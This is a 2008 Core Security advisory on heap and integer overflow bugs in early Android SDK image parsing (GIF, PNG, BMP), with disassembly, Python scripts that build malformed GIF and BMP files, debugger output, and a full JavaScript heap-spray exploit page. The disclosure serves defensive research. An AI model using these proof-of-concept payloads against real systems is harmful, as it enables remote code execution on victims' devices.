7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.872 High
EPSS
Percentile
98.6%
**Title:**Multiple vulnerabilities in Google’s Android SDK
**Advisory ID:**CORE-2008-0124
Advisory URL:<https://www.coresecurity.com/core-labs/advisories/advisory-google>
**Date published:**2008-03-04
**Date of last update:**2008-03-04
**Vendors contacted:**Google
**Release mode:**Coordinated release
**Class:**Heap overflow, integer overflow
**Remotely Exploitable:**Yes (client-side)
**Locally Exploitable:**No
Bugtraq ID:28005 28006
CVE Name: CVE-2008-0986 CVE-2008-0985 CVE-2006-5793 CVE-2007-2445 CVE-2007-5267 CVE-2007-5266 CVE-2007-5268 CVE-2007-5269
Android is project promoted primarily by Google through the Open Handset Alliance aimed at providing a complete set of software for mobile devices: an operating system, middleware and key mobile applications [1]. Although the project is currently in a development phase and has not made an official release yet, several vendors of mobile chips have unveiled prototype phones built using development releases of the platform at the Mobile World Congress [2]. Development using the Android platform gained activity early in 2008 as a result of Google’s launch of the Android Development Challenge which includes $10 million USD in awards [3] for which a Software Development Kit (SDK) was made available in November 2007.
The Android Software Development Kit includes a fully functional operating system, a set of core libraries, application development frameworks, a virtual machine for executing application and a phone emulator based on the QEMU emulator [4]. Public reports as of February 27th, 2008 state that the Android SDK has been downloaded 750,000 times since November 2007 [5].
Several vulnerabilities have been found in Android’s core libraries for processing graphic content in some of the most used image formats (PNG, GIF an BMP). While some of these vulnerabilities stem from the use of outdated and vulnerable open source image processing libraries other were introduced by native Android code that use them or that implements new functionality.
Exploitation of these vulnerabilities to yield complete control of a phone running the Android platform has been proved possible using the emulator included in the SDK, which emulates phone running the Android platform on an ARM microprocessor.
This advisory contains technical descriptions of these security bugs, including a proof of concept exploit to run arbitrary code, proving the possibility of running code on Android stack (over an ARM architecture) via a binary exploit.
Vendor statement:
“The current version of the Android SDK is an early look release to the open source community, provided so that developers can begin working with the platform to inform and shape our development of Android toward production readiness. The Open Handset Alliance welcomes input from the security community throughout this process. There will be many changes and updates to the platform before Android is ready for end users, including a full security review.”
These vulnerabilities were discovered by Alfredo Ortega from Core Security Technologies, leading his Bugweek 2007 team called “Pampa Grande”. It was researched in depth by Alfredo Ortega.
Android is a software stack for mobile devices that includes an operating system, middleware and key applications. Android relies on Linux version 2.6 for core system services such as security, memory management, process management, network stack, and driver model. The kernel also acts as an abstraction layer between the hardware and the rest of the software stack.
The WebKit application framework is included to facilitate development of web client application functionality. The framework in turn uses different third-party open source libraries to implement processing of several image formats.
Android includes a web browser based on the Webkit framework that contains multiple binary vulnerabilities when processing .GIF, .PNG and .BMP image files, allowing malicious client-side attacks on the web browser. A client-side attack could be launched from a malicious web site, hosting specially crafted content, with the possibility of executing arbitrary code on the victim’s Android system.
These client-side binary vulnerabilities were discovered using the Android SDK that includes an ARM architecture emulator. Binary vulnerabilities are the most common security bugs in computer software. Basic bibliography on these vulnerabilities includes a recently updated handbook about security holes that also describes current state-of-the-start exploitation techniques for different hardware platforms and operating systems [6].
The vulnerabilities discovered are summarized below grouped by the type of image file format that is parsed by the vulnerable component.
#1 - GIF image parsing heap overflow
The Graphics Interchange Format (GIF) is image format dating at least from 1989 [7]. It was popularized because GIF images can be compressed using the Lempel-Ziv-Welch (LZW) compression technique thus reducing the memory footprint and bandwidth required for transmission and storage.
A memory corruption condition happens within the GIF processing library of the WebKit framework when the function GIFImageDecoder::onDecode()
allocates a heap buffer based on the “Logical Screen Width and Height†filed of the GIF header (offsets 6 and 8) and then the resulting buffer is filled in with an amount of data bytes that is calculated based on the real Width and Height of the GIF image. There is a similar (if not the same) bug in the function GIFImageDecoder::haveDecodedRow()
in the open-source version included by Android in WebKitLib\WebKit\WebCore\platform\image-decoders\gif\GifImageDecoder.cpp
inside webkit-522-android-m3-rc20.tar.gz
available at [8].
Detailed analysis:
When the process com.google.android.browser
must handle content with a GIF file it loads a dynamic library called libsgl.so
which contains the decoders for multiple image file formats.
Decoding of the GIF image is performed correctly by the library giflib 4.0 (compiled inside libsgl.so
). However, the wrapper object GIFImageDecoder
miscalculates the total size of the image.
First, the Logical Screen Size is read and stored in the following calling sequence (As giflib is an Open Source MIT-licenced library, the source was available for analysis): GIFImageDecoder::onDecode()->DGifOpen()->DGifGetScreenDesc()
. The last function, DGifGetScreenDesc()
, stores the “Logical Screen Width and Height†in a structure called GifFileType
:
Int DGifGetScreenDesc(GifFileType * GifFile) { ... /* Put the screen descriptor into the file: */ if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_ERROR || DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR) return GIF_ERROR; ... }
We can see that the fields are stored in the first 2 words of the structure:
typedef struct GifFileType { /* Screen dimensions. */ GifWord SWidth, SHeight, ... }
In the disassembly of the GIFImageDecoder::onDecode() function provided below we can see how the DGifOpen() function is called and that the return value (A GifFileType struct) is stored on the $R5 ARM register:
.text:0002F234 BL _DGifOpen .text:0002F238 SUBS R5, R0, #0 ; GifFile -$R5
Then, the giflib function DGifSlurp()
is called and the Image size is correctly allocated using the Image Width and Height and not the Logical Screen Size:
Int DGifSlurp(GifFileType * GifFile) { ... ImageSize = sp->ImageDesc.Width * sp->ImageDesc.Height; sp->RasterBits = (unsigned char *)malloc(ImageSize * sizeof(GifPixelType)); ... }
Afterwards the “Logical Screen†Width and Height are stored in the R9 and R11 registers:
.text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth R11=SHeight !
However the actual image may be much larger that these sizes that are incorrectly passed to a number of methods of the GIFImageDecoder
:
ImageDecoder::chooseFromOneChoice(): .text:0002F294 MOV R0, R8 .text:0002F298 MOV R1, #3 .text:0002F29C MOV R2, R9 .text:0002F2A0 MOV R3, R11 .text:0002F2A4 STR R12, [SP,#0x48+var_3C] .text:0002F2A8 BL _ImageDecoder19chooseFromOneChoice; ImageDecoder::chooseFromOneChoice(SkBitmap::Config,int ,int) Bitmap::setConfig(): .text:0002F2B8 MOV R0, R7 ; R7 = SkBitmap .text:0002F2BC MOV R1, #3 .text:0002F2C0 MOV R2, R9 ; R9=SWidth R11=SHeight ! .text:0002F2C4 MOV R3, R11 .text:0002F2C8 STR R10, [SP,#0x48+var_48] .text:0002F2CC BL _Bitmap9setConfig ; Bitmap::setConfig(SkBitmap::Config,uint,uint,uint)
This function stores the SWidth and SHeight inside the Bitmap object as shown in the following code snippet:
.text:00035C38 MOV R7, R2 ; $R2 = SWidth, goes to $R7 .text:00035C3C MOV R8, R3 ; $R3 = SHeight, goes to $R8 .text:00035C40 MOV R4, R0 ; $R4 = *Bitmap
And later:
.text:00035C58 BL _Bitmap15ComputeRowBytes ; SkBitmap::ComputeRowBytes(SkBitmap::Config,uint) .text:00035C5C MOV R5, R0 ; $R5 = Real Row Bytes .text:00035C68 STRH R7, [R4,#0x18] ; *Bitmap+0x18 = SWidth .text:00035C6C STRH R8, [R4,#0x1A] ; *Bitmap+0x1A = SHeight .text:00035C60 STRH R5, [R4,#0x1C] ; *Bitmap+0x1C = Row Bytes
The following python script generates a GIF file that causes the overflow. It requires the Python Imaging Library. Once generated the GIF file, it must be opened in the Android browser to trigger the overflow:
##Android Heap Overflow ##Ortega Alfredo – Core Security Exploit Writers Team ##tested against Android SDK m3-rc37a import Image import struct #Creates a ‘good’ gif image imagename='overflow.gif' str = '\x00\x00\x00\x00'*30000 im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1) im.save(imagename,'GIF') #Shrink the Logical screen dimension SWidth=1 SHeight=1 img = open(imagename,'rb').read() img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:] #Save the ‘bad’ gif image q=open(imagename,'wb=""') q.write(img) q.close()
This security bug affects Android SDK m3-rc37a and earlier versions. Version m5-rc14 of the Android SDK includes a fix and is not vulnerable to this bug.
#2 - PNG image parsing, multiple vulnerabilities:
The Portable Network Graphics (PNG) is a bitmapped image format that employs lossless data compression [9]. PNG was created to improve upon and replace the GIF format as an image file format that does not require a patent license.
The library libsgl.so
used by Android’s WebKit contains commonly used code to load graphic files, as libpng, giflib and others. The version inside libsgl.so distributed with Android SDK m3-rc37a and earlier versions include the string "libpng version 1.2.8 - December 3, 2004"
. Source code inspection of the file \WebKitLib\WebKit\WebCore\platform\image-decoders\png\png.c
included in the webkit-522-android-m3-rc20.tar.gz
release of the Android project reveals that "libpng version 1.2.7 - September 12, 2004"
has been used in this release.
This old version of libpng makes Android SDK m3-rc37a and earlier versions vulnerable to the following known issues: CVE-2006-5793, CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269
.
Android version m5-rc14 has been updated to include libpng 1.2.24 and is likely not vulnerable.
#3 - BMP image processing, negative offset integer overflow:
The BMP file format, sometimes called bitmap or DIB file format (for device-independent bitmap), is an image file format used to store bitmap digital images, especially on Microsoft Windows and OS/2 operating systems [10].
The integer overflow is caused when a Windows Bitmap file (.BMP) header is parsed in the method BMP::readFromStream(Stream *, ImageDecoder::Mode)
inside the libsgl.so
library. When the value of the offset
field of the BMP file header is negative and the Bitmap Information section (DIB header) specifies an image of 8 bits per pixel (8 bpp) the parser will try to allocate a palette, and will use the negative offset to calculate the size of the palette.
The following code initializes the palette with the color white (0x00ffffff
) but with a carefully chosen negative offset it can be made to overwrite any address of the process with that value. Because the BMP decoder source wasn’t released, a disassembly of the binary included by Android is provided below:
.text:0002EE38 MOV LR, R7 ; R7 is the negative offset .text:0002EE3C MOV R12, R7,LSL#2 .text:0002EE40 .text:0002EE40 loc_2EE40 .text:0002EE40 LDR R3, [R10,#0x10] .text:0002EE44 ADD LR, LR, #1 .text:0002EE48 MOVL R2, 0xFFFFFFFF .text:0002EE4C ADD R1, R12, R3 ; R3 is uninitialized (because of the same bug) but ranges 0x10000-0x20000 .text:0002EE50 MOV R0, #0 .text:0002EE54 CMP LR, R9 .text:0002EE58 STRB R2, [R12,R3] ;Write 0x00ffffff to R12+13 (equals R1) .text:0002EE5C STRB R2, [R1,#2] .text:0002EE60 STRB R0, [R1,#3] .text:0002EE64 STRB R2, [R1,#1] .text:0002EE68 ADD R12, R12, #4 .text:0002EE6C BNE loc_2EE40
Now, if let’s take a look at the memory map of the Android browser:
# ps ps USER PID PPID VSIZE RSS WCHAN PC NAME root 1 0 248 64 c0084edc 0000ae2c S /init root 2 0 0 0 c0049168 00000000 S kthreadd ... root 1206 1165 16892 14564 c0084edc 00274af8 S ./gdb app_0 1574 535 83564 12832 ffffffff afe0c79c S com.google.android.browser root 1600 587 840 324 00000000 afe0bfbc R ps # cat /proc/1574/maps cat /proc/1574/maps 00008000-0000a000 rwxp 00000000 1f:00 514 /system/bin/app_process 0000a000-00c73000 rwxp 0000a000 00:00 0 [heap] 08000000-08001000 rw-s 00000000 00:08 344 /dev/zero (deleted) ... #
We can see that the heap is located in the range 0000a000-00c73000
and it is executable. Overwriting this area will allow to redirect execution flow if there is a virtual table stored in the heap. Later on the same method we can see that a call to the “Stream” Object VT is made:
.text:0002EB64 LDR R12, [R8] # R8 is the "this" pointer of the Stream Object .text:0002EB68 MOV R0, R8 .text:0002EB6C MOV LR, PC .text:0002EB70 LDR PC, [R12,#0x10] # A call is made to Stream+0x10
Because the “Stream” Object (R8) is stored on the heap and we can fill the heap with the white color 0x00ffffff
we can load the Program Counter with the value at 0xffffff+0x10
. The following python script will generate a BMP to accomplish that:
# This script generates a Bitmap file that makes the Android browser jump to the address at 0xffffff+0x10 # Must be loaded inside a HTML file with a tag like this: <IMG src=badbmp.bmp> # Alfredo Ortega - Core Security import struct offset = 0xffef0000 width = 0x0bffff height=8 bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00" bmp+=struct.pack("<I",offset) bmp+="\x28\x00\x00\x00" bmp+=struct.pack("<I",width) bmp+=struct.pack("<I",height) bmp+="\x03\x00\x08\x00\x00\x00" bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff" bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41" bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" open("badbmp.bmp","wb").write(bmp)
Opening the BMP file generated with this script inside a HTML page will cause (sometimes, as it is dependent on an uninitialized variable) the following output of the gdb debugger:
(gdb) attach 1574 attach 1574 Attaching to program: /system/bin/app_process, process 1574 ... 0xafe0d204 in __futex_wait () from /system/lib/libc.so (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb)
Here the browser process has jumped to the 0x00000000
address because that is the value at 0x00ffffff+0x10. We can change this value using common JavaScript heap-filling techniques.
The complete exploit page follows:
<HTML> <HEAD> </HEAD> <BODY> <script type="text/javascript"> // Fill 0x200000 - 0xa00000 with Breakpoints var nop = unescape("%u0001%uef9f"); while (nop.length <= 0x100000/2) nop += nop; var i = 0; for (i = 0;i<5;i++) document.write(nop) // Fill 0xa00000 - 0x1100000 with address 0x00400040 var nop = unescape("%u4000%u4000"); while (nop.length <= 0x100000/2) nop += nop; var i = 0; for (i = 0;i<2;i++) document.write(nop) </script> <img src> </BODY> </HTML>
Because the exploit needs to fill over 16 MB of heap memory to reach the address 0xffffff
it is very slow and the default memory configuration of Android will often abort the process before reaching the desired point. To overcome this limitation for demonstration purposes one can launch the emulator with this parameters:
emulator -qemu -m 192
That will launch the Android emulator with 192 megabytes of memory, plenty for the exploit to work.
This security bug affects Android SDK m5-rc14 and earlier versions.
su
program to gain privileges[1] Android Overview - Open Handset Alliance - http://www.openhandsetalliance.com/android_overview.html
[2] “Android Comes to Life in Barcelona” - The Washington Post , February 11th, 2008 - http://www.washingtonpost.com/wp-dyn/content/article/2008/02/11/AR2008021101944.html
[3] Android Developer Challenge - http://code.google.com/android/adc.html
[4] “Test Center Preview: Inside Google’s Mobile future” - Inforworld, Feb. 27th 2008 - http://www.infoworld.com/article/08/02/27/09TC-google-android_1.html
[5] “'Allo, 'allo, Android” - The Sydney Morning Herald, February 26th, 2008 http://www.smh.com.au/news/biztech/allo-allo-android/2008/02/26/1203788290737.html
[6] The Shellcoder’s Handbook: Discovering and Exploiting Security Holes by Chris Anley , John Heasman , Felix Linder and Gerardo Richarte. Wiley; 2nd edition (August 20, 2007) - http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html
[7] Graphics Interchange Format version 89a - http://www.w3.org/Graphics/GIF/spec-gif89a.txt
[8] Android downloads page http://code.google.com/p/android/downloads/list
[9] Portable Network Graphics (PNG) specification - http://www.w3.org/TR/PNG/
[10] Bitmap File Structures - http://www.digicamsoft.com/bmp/bmp.html
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: <https://www.coresecurity.com/core-labs>.
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The contents of this advisory are copyright © 2008 Core Security Technologies and © 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.
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